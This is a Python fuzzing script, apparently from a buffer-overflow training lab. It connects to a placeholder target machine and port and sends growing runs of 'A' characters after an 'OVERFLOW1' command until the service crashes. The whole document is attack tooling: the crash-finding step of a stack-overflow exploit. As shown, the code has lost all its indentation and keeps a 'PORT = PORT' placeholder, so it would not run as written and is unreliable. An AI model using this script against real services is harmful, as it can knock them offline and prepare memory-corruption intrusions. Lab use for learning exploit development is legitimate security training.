fuzzer.py
#!/usr/bin/env python3
import socket, time, sys
IP = "MACHINE_IP"
PORT = PORT
TIMEOUT = 5
PREFIX = "OVERFLOW1 "
PAYLOAD_STRING = PREFIX + "A" * 100
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(TIMEOUT)
s.connect((IP, PORT))
# if there is banner being received;
# check with nc to confirm;
# remove if not needed
s.recv(1024)
# sending payload here.
print("Fuzzing with {} bytes".format(len(PAYLOAD_STRING) - len(PREFIX)))
s.send(bytes(PAYLOAD_STRING, "latin-1"))
# s.send((PAYLOAD_STRING.encode()))
# if there is reply after sending payload;
# check with nc to confirm;
# remove if not needed
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(PAYLOAD_STRING) - len(PREFIX)))
sys.exit(0)
PAYLOAD_STRING += 100 * "A"
time.sleep(1)
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